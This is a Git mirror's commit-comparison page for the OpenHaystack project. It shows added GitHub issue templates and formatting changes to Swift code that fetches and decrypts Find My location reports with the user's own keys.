mirror of
https://github.com/seemoo-lab/openhaystack.git
synced 2026-03-02 01:00:20 +00:00
Compare commits
30 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ffc5170ea4 | ||
|
|
f73c1ac636 | ||
|
|
5dc6158da7 | ||
|
|
ba174196c0 | ||
|
|
c618aab843 | ||
|
|
f8fb99cc41 | ||
|
|
9f41994380 | ||
|
|
b5a577ec4e | ||
|
|
b513d47ddc | ||
|
|
acdae59b39 | ||
|
|
880f1356de | ||
|
|
edf2b59754 | ||
|
|
cf5103f62f | ||
|
|
21eacc6c5c | ||
|
|
bdb8e8047b | ||
|
|
d1731c608a | ||
|
|
9f8352b022 | ||
|
|
0e126e7882 | ||
|
|
c7696b6687 | ||
|
|
1883d47ac9 | ||
|
|
76a01c187b | ||
|
|
2db31902d4 | ||
|
|
a88f5abeb4 | ||
|
|
cf0416e174 | ||
|
|
eb07546640 | ||
|
|
37de037986 | ||
|
|
5117674ac9 | ||
|
|
d5546e1fa8 | ||
|
|
1b6eadb301 | ||
|
|
2f32efef24 |
33
.github/ISSUE_TEMPLATE/bug_report.md
vendored
Normal file
33
.github/ISSUE_TEMPLATE/bug_report.md
vendored
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
---
|
||||||
|
name: Bug report
|
||||||
|
about: Create a report to help us improve
|
||||||
|
title: ''
|
||||||
|
labels: bug
|
||||||
|
assignees: ''
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Describe the bug**
|
||||||
|
A clear and concise description of what the bug is.
|
||||||
|
|
||||||
|
**To Reproduce**
|
||||||
|
Steps to reproduce the behavior:
|
||||||
|
1. Go to '...'
|
||||||
|
2. Click on '....'
|
||||||
|
3. Scroll down to '....'
|
||||||
|
4. See error
|
||||||
|
|
||||||
|
**Expected behavior**
|
||||||
|
A clear and concise description of what you expected to happen.
|
||||||
|
|
||||||
|
**Screenshots**
|
||||||
|
If applicable, add screenshots to help explain your problem.
|
||||||
|
|
||||||
|
**OpenHaystack version:**
|
||||||
|
[e.g. 0.3.4] (copy from _OpenHaystack → About OpenHaystack_)
|
||||||
|
|
||||||
|
**macOS version:**
|
||||||
|
[e.g. 11.3]
|
||||||
|
|
||||||
|
**Additional context**
|
||||||
|
Add any other context about the problem here.
|
||||||
20
.github/ISSUE_TEMPLATE/feature_request.md
vendored
Normal file
20
.github/ISSUE_TEMPLATE/feature_request.md
vendored
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
---
|
||||||
|
name: Feature request
|
||||||
|
about: Suggest an idea for this project
|
||||||
|
title: ''
|
||||||
|
labels: enhancement
|
||||||
|
assignees: ''
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Is your feature request related to a problem? Please describe.**
|
||||||
|
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
|
||||||
|
|
||||||
|
**Describe the solution you'd like**
|
||||||
|
A clear and concise description of what you want to happen.
|
||||||
|
|
||||||
|
**Describe alternatives you've considered**
|
||||||
|
A clear and concise description of any alternative solutions or features you've considered.
|
||||||
|
|
||||||
|
**Additional context**
|
||||||
|
Add any other context or screenshots about the feature request here.
|
||||||
10
.github/ISSUE_TEMPLATE/general-question.md
vendored
Normal file
10
.github/ISSUE_TEMPLATE/general-question.md
vendored
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
---
|
||||||
|
name: General question
|
||||||
|
about: Ask a question
|
||||||
|
title: ''
|
||||||
|
labels: question
|
||||||
|
assignees: ''
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
@@ -13,30 +13,30 @@ import SwiftUI
|
|||||||
@main
|
@main
|
||||||
class AppDelegate: NSObject, NSApplicationDelegate {
|
class AppDelegate: NSObject, NSApplicationDelegate {
|
||||||
|
|
||||||
var window: NSWindow!
|
var window: NSWindow!
|
||||||
|
|
||||||
func applicationDidFinishLaunching(_ aNotification: Notification) {
|
func applicationDidFinishLaunching(_ aNotification: Notification) {
|
||||||
// Create the SwiftUI view that provides the window contents.
|
// Create the SwiftUI view that provides the window contents.
|
||||||
let contentView = OFFetchReportsMainView()
|
let contentView = OFFetchReportsMainView()
|
||||||
|
|
||||||
// Create the window and set the content view.
|
// Create the window and set the content view.
|
||||||
window = NSWindow(
|
window = NSWindow(
|
||||||
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
|
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
|
||||||
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
|
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
|
||||||
backing: .buffered, defer: false)
|
backing: .buffered, defer: false)
|
||||||
window.isReleasedWhenClosed = false
|
window.isReleasedWhenClosed = false
|
||||||
window.center()
|
window.center()
|
||||||
window.setFrameAutosaveName("Main Window")
|
window.setFrameAutosaveName("Main Window")
|
||||||
window.contentView = NSHostingView(rootView: contentView)
|
window.contentView = NSHostingView(rootView: contentView)
|
||||||
window.makeKeyAndOrderFront(nil)
|
window.makeKeyAndOrderFront(nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
func applicationWillTerminate(_ aNotification: Notification) {
|
func applicationWillTerminate(_ aNotification: Notification) {
|
||||||
// Insert code here to tear down your application
|
// Insert code here to tear down your application
|
||||||
}
|
}
|
||||||
|
|
||||||
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
|
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -10,14 +10,14 @@
|
|||||||
import SwiftUI
|
import SwiftUI
|
||||||
|
|
||||||
struct ContentView: View {
|
struct ContentView: View {
|
||||||
var body: some View {
|
var body: some View {
|
||||||
Text("Hello, World!")
|
Text("Hello, World!")
|
||||||
.frame(maxWidth: .infinity, maxHeight: .infinity)
|
.frame(maxWidth: .infinity, maxHeight: .infinity)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
struct ContentView_Previews: PreviewProvider {
|
struct ContentView_Previews: PreviewProvider {
|
||||||
static var previews: some View {
|
static var previews: some View {
|
||||||
ContentView()
|
ContentView()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,93 +7,100 @@
|
|||||||
// SPDX-License-Identifier: AGPL-3.0-only
|
// SPDX-License-Identifier: AGPL-3.0-only
|
||||||
//
|
//
|
||||||
|
|
||||||
import Foundation
|
|
||||||
import CryptoKit
|
import CryptoKit
|
||||||
|
import Foundation
|
||||||
|
|
||||||
struct DecryptReports {
|
struct DecryptReports {
|
||||||
|
|
||||||
/// Decrypt a find my report with the according key
|
/// Decrypt a find my report with the according key
|
||||||
/// - Parameters:
|
/// - Parameters:
|
||||||
/// - report: An encrypted FindMy Report
|
/// - report: An encrypted FindMy Report
|
||||||
/// - key: A FindMyKey
|
/// - key: A FindMyKey
|
||||||
/// - Throws: Errors if the decryption fails
|
/// - Throws: Errors if the decryption fails
|
||||||
/// - Returns: An decrypted location report
|
/// - Returns: An decrypted location report
|
||||||
static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport {
|
static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport {
|
||||||
let payloadData = report.payload
|
let payloadData = report.payload
|
||||||
let keyData = key.privateKey
|
let keyData = key.privateKey
|
||||||
|
|
||||||
let privateKey = keyData
|
let privateKey = keyData
|
||||||
let ephemeralKey = payloadData.subdata(in: 5..<62)
|
let ephemeralKey = payloadData.subdata(in: 5..<62)
|
||||||
|
|
||||||
guard let sharedKey = BoringSSL.deriveSharedKey(
|
guard
|
||||||
fromPrivateKey: privateKey,
|
let sharedKey = BoringSSL.deriveSharedKey(
|
||||||
andEphemeralKey: ephemeralKey) else {
|
fromPrivateKey: privateKey,
|
||||||
throw FindMyError.decryptionError(description: "Failed generating shared key")
|
andEphemeralKey: ephemeralKey)
|
||||||
}
|
else {
|
||||||
|
throw FindMyError.decryptionError(description: "Failed generating shared key")
|
||||||
let derivedKey = self.kdf(fromSharedSecret: sharedKey, andEphemeralKey: ephemeralKey)
|
|
||||||
|
|
||||||
print("Derived key \(derivedKey.base64EncodedString())")
|
|
||||||
|
|
||||||
let encData = payloadData.subdata(in: 62..<72)
|
|
||||||
let tag = payloadData.subdata(in: 72..<payloadData.endIndex)
|
|
||||||
|
|
||||||
let decryptedContent = try self.decryptPayload(payload: encData, symmetricKey: derivedKey, tag: tag)
|
|
||||||
let locationReport = self.decode(content: decryptedContent, report: report)
|
|
||||||
print(locationReport)
|
|
||||||
return locationReport
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Decrypt the payload
|
let derivedKey = self.kdf(fromSharedSecret: sharedKey, andEphemeralKey: ephemeralKey)
|
||||||
/// - Parameters:
|
|
||||||
/// - payload: Encrypted payload part
|
|
||||||
/// - symmetricKey: Symmetric key
|
|
||||||
/// - tag: AES GCM tag
|
|
||||||
/// - Throws: AES GCM error
|
|
||||||
/// - Returns: Decrypted error
|
|
||||||
static func decryptPayload(payload: Data, symmetricKey: Data, tag: Data) throws -> Data {
|
|
||||||
let decryptionKey = symmetricKey.subdata(in: 0..<16)
|
|
||||||
let iv = symmetricKey.subdata(in: 16..<symmetricKey.endIndex)
|
|
||||||
|
|
||||||
print("Decryption Key \(decryptionKey.base64EncodedString())")
|
print("Derived key \(derivedKey.base64EncodedString())")
|
||||||
print("IV \(iv.base64EncodedString())")
|
|
||||||
|
|
||||||
let sealedBox = try AES.GCM.SealedBox(nonce: AES.GCM.Nonce(data: iv), ciphertext: payload, tag: tag)
|
let encData = payloadData.subdata(in: 62..<72)
|
||||||
let symKey = SymmetricKey(data: decryptionKey)
|
let tag = payloadData.subdata(in: 72..<payloadData.endIndex)
|
||||||
let decrypted = try AES.GCM.open(sealedBox, using: symKey)
|
|
||||||
|
|
||||||
return decrypted
|
let decryptedContent = try self.decryptPayload(
|
||||||
}
|
payload: encData, symmetricKey: derivedKey, tag: tag)
|
||||||
|
let locationReport = self.decode(content: decryptedContent, report: report)
|
||||||
|
print(locationReport)
|
||||||
|
return locationReport
|
||||||
|
}
|
||||||
|
|
||||||
static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport {
|
/// Decrypt the payload
|
||||||
var longitude: Int32 = 0
|
/// - Parameters:
|
||||||
_ = withUnsafeMutableBytes(of: &longitude, {content.subdata(in: 4..<8).copyBytes(to: $0)})
|
/// - payload: Encrypted payload part
|
||||||
longitude = Int32(bigEndian: longitude)
|
/// - symmetricKey: Symmetric key
|
||||||
|
/// - tag: AES GCM tag
|
||||||
|
/// - Throws: AES GCM error
|
||||||
|
/// - Returns: Decrypted error
|
||||||
|
static func decryptPayload(payload: Data, symmetricKey: Data, tag: Data) throws -> Data {
|
||||||
|
let decryptionKey = symmetricKey.subdata(in: 0..<16)
|
||||||
|
let iv = symmetricKey.subdata(in: 16..<symmetricKey.endIndex)
|
||||||
|
|
||||||
var latitude: Int32 = 0
|
print("Decryption Key \(decryptionKey.base64EncodedString())")
|
||||||
_ = withUnsafeMutableBytes(of: &latitude, {content.subdata(in: 0..<4).copyBytes(to: $0)})
|
print("IV \(iv.base64EncodedString())")
|
||||||
latitude = Int32(bigEndian: latitude)
|
|
||||||
|
|
||||||
var accuracy: UInt8 = 0
|
let sealedBox = try AES.GCM.SealedBox(
|
||||||
_ = withUnsafeMutableBytes(of: &accuracy, {content.subdata(in: 8..<9).copyBytes(to: $0)})
|
nonce: AES.GCM.Nonce(data: iv), ciphertext: payload, tag: tag)
|
||||||
|
let symKey = SymmetricKey(data: decryptionKey)
|
||||||
|
let decrypted = try AES.GCM.open(sealedBox, using: symKey)
|
||||||
|
|
||||||
let latitudeDec = Double(latitude)/10000000.0
|
return decrypted
|
||||||
let longitudeDec = Double(longitude)/10000000.0
|
}
|
||||||
|
|
||||||
return FindMyLocationReport(lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished, t: report.timestamp, c: report.confidence)
|
static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport {
|
||||||
}
|
var longitude: Int32 = 0
|
||||||
|
_ = withUnsafeMutableBytes(of: &longitude, { content.subdata(in: 4..<8).copyBytes(to: $0) })
|
||||||
|
longitude = Int32(bigEndian: longitude)
|
||||||
|
|
||||||
static func kdf(fromSharedSecret secret: Data, andEphemeralKey ephKey: Data) -> Data {
|
var latitude: Int32 = 0
|
||||||
|
_ = withUnsafeMutableBytes(of: &latitude, { content.subdata(in: 0..<4).copyBytes(to: $0) })
|
||||||
|
latitude = Int32(bigEndian: latitude)
|
||||||
|
|
||||||
var shaDigest = SHA256()
|
var accuracy: UInt8 = 0
|
||||||
shaDigest.update(data: secret)
|
_ = withUnsafeMutableBytes(of: &accuracy, { content.subdata(in: 8..<9).copyBytes(to: $0) })
|
||||||
var counter: Int32 = 1
|
|
||||||
let counterData = Data(Data(bytes: &counter, count: MemoryLayout.size(ofValue: counter)).reversed())
|
|
||||||
shaDigest.update(data: counterData)
|
|
||||||
shaDigest.update(data: ephKey)
|
|
||||||
|
|
||||||
let derivedKey = shaDigest.finalize()
|
let latitudeDec = Double(latitude) / 10000000.0
|
||||||
|
let longitudeDec = Double(longitude) / 10000000.0
|
||||||
|
|
||||||
return Data(derivedKey)
|
return FindMyLocationReport(
|
||||||
}
|
lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished,
|
||||||
|
t: report.timestamp, c: report.confidence)
|
||||||
|
}
|
||||||
|
|
||||||
|
static func kdf(fromSharedSecret secret: Data, andEphemeralKey ephKey: Data) -> Data {
|
||||||
|
|
||||||
|
var shaDigest = SHA256()
|
||||||
|
shaDigest.update(data: secret)
|
||||||
|
var counter: Int32 = 1
|
||||||
|
let counterData = Data(
|
||||||
|
Data(bytes: &counter, count: MemoryLayout.size(ofValue: counter)).reversed())
|
||||||
|
shaDigest.update(data: counterData)
|
||||||
|
shaDigest.update(data: ephKey)
|
||||||
|
|
||||||
|
let derivedKey = shaDigest.finalize()
|
||||||
|
|
||||||
|
return Data(derivedKey)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,218 +7,232 @@
|
|||||||
// SPDX-License-Identifier: AGPL-3.0-only
|
// SPDX-License-Identifier: AGPL-3.0-only
|
||||||
//
|
//
|
||||||
|
|
||||||
|
import Combine
|
||||||
import Foundation
|
import Foundation
|
||||||
import SwiftUI
|
import SwiftUI
|
||||||
import Combine
|
|
||||||
|
|
||||||
class FindMyController: ObservableObject {
|
class FindMyController: ObservableObject {
|
||||||
static let shared = FindMyController()
|
static let shared = FindMyController()
|
||||||
|
|
||||||
@Published var error: Error?
|
@Published var error: Error?
|
||||||
@Published var devices = [FindMyDevice]()
|
@Published var devices = [FindMyDevice]()
|
||||||
|
|
||||||
func loadPrivateKeys(from data: Data, with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
|
func loadPrivateKeys(
|
||||||
|
from data: Data, with searchPartyToken: Data, completion: @escaping (Error?) -> Void
|
||||||
|
) {
|
||||||
|
do {
|
||||||
|
let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: data)
|
||||||
|
|
||||||
|
self.devices.append(contentsOf: devices)
|
||||||
|
self.fetchReports(with: searchPartyToken, completion: completion)
|
||||||
|
} catch {
|
||||||
|
self.error = FindMyErrors.decodingPlistFailed(message: String(describing: error))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func importReports(reports: [FindMyReport], and keys: Data, completion: @escaping () -> Void)
|
||||||
|
throws
|
||||||
|
{
|
||||||
|
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
|
||||||
|
|
||||||
|
// Decrypt the reports with the imported keys
|
||||||
|
DispatchQueue.global(qos: .background).async {
|
||||||
|
// Add the reports to the according device by finding the right key for the report
|
||||||
|
for report in reports {
|
||||||
|
|
||||||
|
guard
|
||||||
|
let deviceIndex = devices.firstIndex(where: { (device) -> Bool in
|
||||||
|
device.keys.contains { (key) -> Bool in
|
||||||
|
key.hashedKey.base64EncodedString() == report.id
|
||||||
|
}
|
||||||
|
})
|
||||||
|
else {
|
||||||
|
print("No device found for id")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if var reports = devices[deviceIndex].reports {
|
||||||
|
reports.append(report)
|
||||||
|
devices[deviceIndex].reports = reports
|
||||||
|
} else {
|
||||||
|
devices[deviceIndex].reports = [report]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
self.devices = devices
|
||||||
|
|
||||||
|
// Decrypt the reports
|
||||||
|
self.decryptReports {
|
||||||
|
self.exportDevices()
|
||||||
|
DispatchQueue.main.async {
|
||||||
|
completion()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func importDevices(devices: Data) throws {
|
||||||
|
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: devices)
|
||||||
|
|
||||||
|
// Delete the decrypted reports
|
||||||
|
for idx in devices.startIndex..<devices.endIndex {
|
||||||
|
devices[idx].decryptedReports = nil
|
||||||
|
}
|
||||||
|
|
||||||
|
self.devices = devices
|
||||||
|
|
||||||
|
// Decrypt reports again with additional information
|
||||||
|
self.decryptReports {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
|
||||||
|
|
||||||
|
DispatchQueue.global(qos: .background).async {
|
||||||
|
let fetchReportGroup = DispatchGroup()
|
||||||
|
|
||||||
|
let fetcher = ReportsFetcher()
|
||||||
|
|
||||||
|
var devices = self.devices
|
||||||
|
for deviceIndex in 0..<devices.count {
|
||||||
|
fetchReportGroup.enter()
|
||||||
|
devices[deviceIndex].reports = []
|
||||||
|
|
||||||
|
// Only use the newest keys for testing
|
||||||
|
let keys = devices[deviceIndex].keys
|
||||||
|
|
||||||
|
let keyHashes = keys.map({ $0.hashedKey.base64EncodedString() })
|
||||||
|
|
||||||
|
// 21 days
|
||||||
|
let duration: Double = (24 * 60 * 60) * 21
|
||||||
|
let startDate = Date() - duration
|
||||||
|
|
||||||
|
fetcher.query(
|
||||||
|
forHashes: keyHashes,
|
||||||
|
start: startDate,
|
||||||
|
duration: duration,
|
||||||
|
searchPartyToken: searchPartyToken
|
||||||
|
) { jd in
|
||||||
|
guard let jsonData = jd else {
|
||||||
|
fetchReportGroup.leave()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
do {
|
||||||
|
// Decode the report
|
||||||
|
let report = try JSONDecoder().decode(FindMyReportResults.self, from: jsonData)
|
||||||
|
devices[deviceIndex].reports = report.results
|
||||||
|
|
||||||
|
} catch {
|
||||||
|
print("Failed with error \(error)")
|
||||||
|
devices[deviceIndex].reports = []
|
||||||
|
}
|
||||||
|
fetchReportGroup.leave()
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
// Completion Handler
|
||||||
|
fetchReportGroup.notify(queue: .main) {
|
||||||
|
print("Finished loading the reports. Now decrypt them")
|
||||||
|
|
||||||
|
// Export the reports to the desktop
|
||||||
|
var reports = [FindMyReport]()
|
||||||
|
for device in devices {
|
||||||
|
for report in device.reports! {
|
||||||
|
reports.append(report)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#if EXPORT
|
||||||
|
if let encoded = try? JSONEncoder().encode(reports) {
|
||||||
|
let outputDirectory = FileManager.default.urls(
|
||||||
|
for: .desktopDirectory, in: .userDomainMask
|
||||||
|
).first!
|
||||||
|
try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
DispatchQueue.main.async {
|
||||||
|
self.devices = devices
|
||||||
|
|
||||||
|
self.decryptReports {
|
||||||
|
completion(nil)
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
func decryptReports(completion: () -> Void) {
|
||||||
|
print("Decrypting reports")
|
||||||
|
|
||||||
|
// Iterate over all devices
|
||||||
|
for deviceIdx in 0..<devices.count {
|
||||||
|
devices[deviceIdx].decryptedReports = []
|
||||||
|
let device = devices[deviceIdx]
|
||||||
|
|
||||||
|
// Map the keys in a dictionary for faster access
|
||||||
|
guard let reports = device.reports else { continue }
|
||||||
|
let keyMap = device.keys.reduce(
|
||||||
|
into: [String: FindMyKey](), { $0[$1.hashedKey.base64EncodedString()] = $1 })
|
||||||
|
|
||||||
|
let accessQueue = DispatchQueue(
|
||||||
|
label: "threadSafeAccess",
|
||||||
|
qos: .userInitiated,
|
||||||
|
attributes: .concurrent,
|
||||||
|
autoreleaseFrequency: .workItem, target: nil)
|
||||||
|
var decryptedReports = [FindMyLocationReport](
|
||||||
|
repeating:
|
||||||
|
FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0),
|
||||||
|
count: reports.count)
|
||||||
|
DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
|
||||||
|
let report = reports[reportIdx]
|
||||||
|
guard let key = keyMap[report.id] else { return }
|
||||||
do {
|
do {
|
||||||
let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: data)
|
// Decrypt the report
|
||||||
|
let locationReport = try DecryptReports.decrypt(report: report, with: key)
|
||||||
self.devices.append(contentsOf: devices)
|
accessQueue.async(flags: .barrier) {
|
||||||
self.fetchReports(with: searchPartyToken, completion: completion)
|
decryptedReports[reportIdx] = locationReport
|
||||||
|
}
|
||||||
} catch {
|
} catch {
|
||||||
self.error = FindMyErrors.decodingPlistFailed(message: String(describing: error))
|
return
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
accessQueue.sync {
|
||||||
|
devices[deviceIdx].decryptedReports = decryptedReports
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func importReports(reports: [FindMyReport], and keys: Data, completion:@escaping () -> Void) throws {
|
completion()
|
||||||
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
|
|
||||||
|
|
||||||
// Decrypt the reports with the imported keys
|
}
|
||||||
DispatchQueue.global(qos: .background).async {
|
|
||||||
// Add the reports to the according device by finding the right key for the report
|
|
||||||
for report in reports {
|
|
||||||
|
|
||||||
guard let deviceIndex = devices.firstIndex(where: { (device) -> Bool in
|
func exportDevices() {
|
||||||
device.keys.contains { (key) -> Bool in
|
|
||||||
key.hashedKey.base64EncodedString() == report.id
|
|
||||||
}
|
|
||||||
}) else {
|
|
||||||
print("No device found for id")
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
if var reports = devices[deviceIndex].reports {
|
|
||||||
reports.append(report)
|
|
||||||
devices[deviceIndex].reports = reports
|
|
||||||
} else {
|
|
||||||
devices[deviceIndex].reports = [report]
|
|
||||||
}
|
|
||||||
}
|
|
||||||
self.devices = devices
|
|
||||||
|
|
||||||
// Decrypt the reports
|
if let encoded = try? PropertyListEncoder().encode(self.devices) {
|
||||||
self.decryptReports {
|
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask)
|
||||||
self.exportDevices()
|
.first!
|
||||||
DispatchQueue.main.async {
|
try? encoded.write(to: outputDirectory.appendingPathComponent("devices-\(Date()).plist"))
|
||||||
completion()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func importDevices(devices: Data) throws {
|
|
||||||
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: devices)
|
|
||||||
|
|
||||||
// Delete the decrypted reports
|
|
||||||
for idx in devices.startIndex..<devices.endIndex {
|
|
||||||
devices[idx].decryptedReports = nil
|
|
||||||
}
|
|
||||||
|
|
||||||
self.devices = devices
|
|
||||||
|
|
||||||
// Decrypt reports again with additional information
|
|
||||||
self.decryptReports {
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
|
|
||||||
|
|
||||||
DispatchQueue.global(qos: .background).async {
|
|
||||||
let fetchReportGroup = DispatchGroup()
|
|
||||||
|
|
||||||
let fetcher = ReportsFetcher()
|
|
||||||
|
|
||||||
var devices = self.devices
|
|
||||||
for deviceIndex in 0..<devices.count {
|
|
||||||
fetchReportGroup.enter()
|
|
||||||
devices[deviceIndex].reports = []
|
|
||||||
|
|
||||||
// Only use the newest keys for testing
|
|
||||||
let keys = devices[deviceIndex].keys
|
|
||||||
|
|
||||||
let keyHashes = keys.map({$0.hashedKey.base64EncodedString()})
|
|
||||||
|
|
||||||
// 21 days
|
|
||||||
let duration: Double = (24 * 60 * 60) * 21
|
|
||||||
let startDate = Date() - duration
|
|
||||||
|
|
||||||
fetcher.query(forHashes: keyHashes,
|
|
||||||
start: startDate,
|
|
||||||
duration: duration,
|
|
||||||
searchPartyToken: searchPartyToken) { jd in
|
|
||||||
guard let jsonData = jd else {
|
|
||||||
fetchReportGroup.leave()
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
do {
|
|
||||||
// Decode the report
|
|
||||||
let report = try JSONDecoder().decode(FindMyReportResults.self, from: jsonData)
|
|
||||||
devices[deviceIndex].reports = report.results
|
|
||||||
|
|
||||||
} catch {
|
|
||||||
print("Failed with error \(error)")
|
|
||||||
devices[deviceIndex].reports = []
|
|
||||||
}
|
|
||||||
fetchReportGroup.leave()
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
// Completion Handler
|
|
||||||
fetchReportGroup.notify(queue: .main) {
|
|
||||||
print("Finished loading the reports. Now decrypt them")
|
|
||||||
|
|
||||||
// Export the reports to the desktop
|
|
||||||
var reports = [FindMyReport]()
|
|
||||||
for device in devices {
|
|
||||||
for report in device.reports! {
|
|
||||||
reports.append(report)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#if EXPORT
|
|
||||||
if let encoded = try? JSONEncoder().encode(reports) {
|
|
||||||
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
|
|
||||||
try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
|
||||||
self.devices = devices
|
|
||||||
|
|
||||||
self.decryptReports {
|
|
||||||
completion(nil)
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
func decryptReports(completion: () -> Void) {
|
|
||||||
print("Decrypting reports")
|
|
||||||
|
|
||||||
// Iterate over all devices
|
|
||||||
for deviceIdx in 0..<devices.count {
|
|
||||||
devices[deviceIdx].decryptedReports = []
|
|
||||||
let device = devices[deviceIdx]
|
|
||||||
|
|
||||||
// Map the keys in a dictionary for faster access
|
|
||||||
guard let reports = device.reports else {continue}
|
|
||||||
let keyMap = device.keys.reduce(into: [String: FindMyKey](), {$0[$1.hashedKey.base64EncodedString()] = $1})
|
|
||||||
|
|
||||||
let accessQueue = DispatchQueue(label: "threadSafeAccess",
|
|
||||||
qos: .userInitiated,
|
|
||||||
attributes: .concurrent,
|
|
||||||
autoreleaseFrequency: .workItem, target: nil)
|
|
||||||
var decryptedReports = [FindMyLocationReport](repeating:
|
|
||||||
FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0),
|
|
||||||
count: reports.count)
|
|
||||||
DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
|
|
||||||
let report = reports[reportIdx]
|
|
||||||
guard let key = keyMap[report.id] else {return}
|
|
||||||
do {
|
|
||||||
// Decrypt the report
|
|
||||||
let locationReport = try DecryptReports.decrypt(report: report, with: key)
|
|
||||||
accessQueue.async(flags: .barrier) {
|
|
||||||
decryptedReports[reportIdx] = locationReport
|
|
||||||
}
|
|
||||||
} catch {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
accessQueue.sync {
|
|
||||||
devices[deviceIdx].decryptedReports = decryptedReports
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
completion()
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
func exportDevices() {
|
|
||||||
|
|
||||||
if let encoded = try? PropertyListEncoder().encode(self.devices) {
|
|
||||||
let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
|
|
||||||
try? encoded.write(to: outputDirectory.appendingPathComponent("devices-\(Date()).plist"))
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
struct FindMyControllerKey: EnvironmentKey {
|
struct FindMyControllerKey: EnvironmentKey {
|
||||||
static var defaultValue: FindMyController = .shared
|
static var defaultValue: FindMyController = .shared
|
||||||
}
|
}
|
||||||
|
|
||||||
extension EnvironmentValues {
|
extension EnvironmentValues {
|
||||||
var findMyController: FindMyController {
|
var findMyController: FindMyController {
|
||||||
get {self[FindMyControllerKey.self]}
|
get { self[FindMyControllerKey.self] }
|
||||||
set {self[FindMyControllerKey.self] = newValue}
|
set { self[FindMyControllerKey.self] = newValue }
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
enum FindMyErrors: Error {
|
enum FindMyErrors: Error {
|
||||||
case decodingPlistFailed(message: String)
|
case decodingPlistFailed(message: String)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,109 +7,110 @@
|
|||||||
// SPDX-License-Identifier: AGPL-3.0-only
|
